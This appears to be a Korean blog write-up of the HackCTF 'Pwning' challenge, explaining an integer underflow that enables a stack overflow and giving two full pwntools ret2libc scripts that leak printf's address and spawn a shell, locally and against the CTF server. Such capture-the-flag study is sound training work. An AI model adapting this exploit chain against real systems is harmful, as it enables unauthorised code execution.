[HackCTF] Pwning (재)
System/PWNABLE

[HackCTF] Pwning (재)

check

- 32bit

- Partial RELRO >> .got.plt 영역을 덮어쓸 수 있다

- NX

Analyze

pseudo code

  vuln()함수
get_n() 함수

- atoi 함수를 이용해 문자 nptr값을 정수 v2로 바꾼다.

- [get_n 호출 1] get_n 함수의 매개변수 a2에 4를 인자로 전달한다. get_n 함수의 반복문을 총 5번 반복하며 v4에 5개의 값을 입력받을 수 있다.

- [get_n 호출 2] get_n 함수에 nptr주소값과 v2를 인자로 전달한다. get_n 함수의 반복문을 총 v2번 반복하며 v4에 v2개의 값을 입력받을 수 있다.

>> get_n의 두 번째 인자로 v2를 전달할 때 v2이 데이터형은 int 형이지만, 매개변수 a2의 타입은 unsigned int이다. 즉, 음수를 입력하게 되면 underflow가 발생하면서 (2^32 - 1) - v2가 전달되게 된다. 따라서 a1+v2에 값이 underflow된 만큼 입력할 수 있게되면서 nptr을 overflow 시킬 수 있다. 

- nptr의 주소를 마지막에 출력한다.

- [반복문] v4에 하나의 문자값을 입력받는다. 이 때 v4가 0이 아니거나 10이거나 v5가 a2(두번째 매개변수)보다 크거나 같은 경우 반복문은 종료된다. 

- 반복문 종료 후 result = a1+v5으로 result값을 리턴한다.

실행

- 입력할 데이터의 양으로 음수(-50)을 입력했더니 underflow가 발생하며 4294967246로 바뀐 것을 볼 수 있다.

Exploit

process / libc leak

from pwn import *
context.log_level = 'debug'
p = process("./pwning")
#p = remote("ctf.j0n9hyun.xyz", 3019)
elf = ELF("./pwning")
libc = elf.libc

#int80 = elf.symbols['do_thing']
system_off = libc.symbols['system']
binsh_off = libc.search("/bin/sh").next()
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
printf_off = libc.symbols['printf']
vuln = elf.symbols['vuln']

p.sendlineafter("read?", "-1")

pl = "A"*(0x2C + 4)
pl += p32(printf_plt)
pl += p32(vuln)
pl += p32(printf_got)
p.sendline(pl)

p.recvuntil("You said: ")
p.recvuntil("\n")
printf = u32(p.recv(4))
log.info("printf address: "+ hex(printf))
libcbase = printf - printf_off
system = system_off + libcbase
binsh = binsh_off + libcbase

p.sendlineafter("read?", "-1")

pl = "A"*(0x2C + 4)
pl += p32(system)
pl += "BBBB"
pl += p32(binsh)

p.sendline(pl)
p.interactive()

일단 프로세스에서는 성공이다!

하지만 remote로 돌리면...?

멀쩡하게 되던게 안된다ㅠㅠ

 

이렇게 process에서와 remote에서 차이가 발생하는 이유는 문제 서버와 내 로컬에서 돌아가는 라이브러리가 다르기 때문이다. 따라서 이런 경우 libc-database를 구할 수 있는 사이트를 사용할 수 있다. 

꼭 remote로 연결해서 해야한다!! (실제 printf 주소값이 달라진다!)

remote

작년에 풀었을 때는 ubuntu10_amd64가 있었는데 없어졌다..(?)

그래서 우선 작년 풀이 중 offset을 참고했다.

from pwn import *
#context.log_level = 'debug'
#p = process("./pwning")
p = remote("ctf.j0n9hyun.xyz", 3019)
elf = ELF("./pwning")
#libc = elf.libc

#int80 = elf.symbols['do_thing']
#system_off = libc.symbols['system']
system_off = 0x3a940
#binsh_off = libc.search("/bin/sh").next()
binsh_off = 0x15902b
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
#printf_off = libc.symbols['printf']
printf_off = 0x49020
vuln = elf.symbols['vuln']

p.sendlineafter("read?", "-1")

pl = "A"*(0x2C + 4)
pl += p32(printf_plt)
pl += p32(vuln)
pl += p32(printf_got)
p.sendline(pl)

p.recvuntil("You said: ")
p.recvuntil("\n")
printf = u32(p.recv()[:4])
log.info("printf address: "+ hex(printf))
libcbase = printf - printf_off
system = system_off + libcbase
binsh = binsh_off + libcbase

p.sendline("-1")

pl = "A"*(0x2C + 4)
pl += p32(system)
pl += "BBBB"
pl += p32(binsh)

p.sendline(pl)
p.interactive()

! 성공 !

SMALL

'System > PWNABLE' 카테고리의 다른 글

[RopEmporium] split  (0) 2021.03.21
[ROP Emporium] ret2win  (0) 2021.03.18
[HackCTF] Gift  (0) 2021.03.06
[HackCTF] Look at me (재)  (0) 2021.03.03
[HackCTF] RTL core  (0) 2021.02.14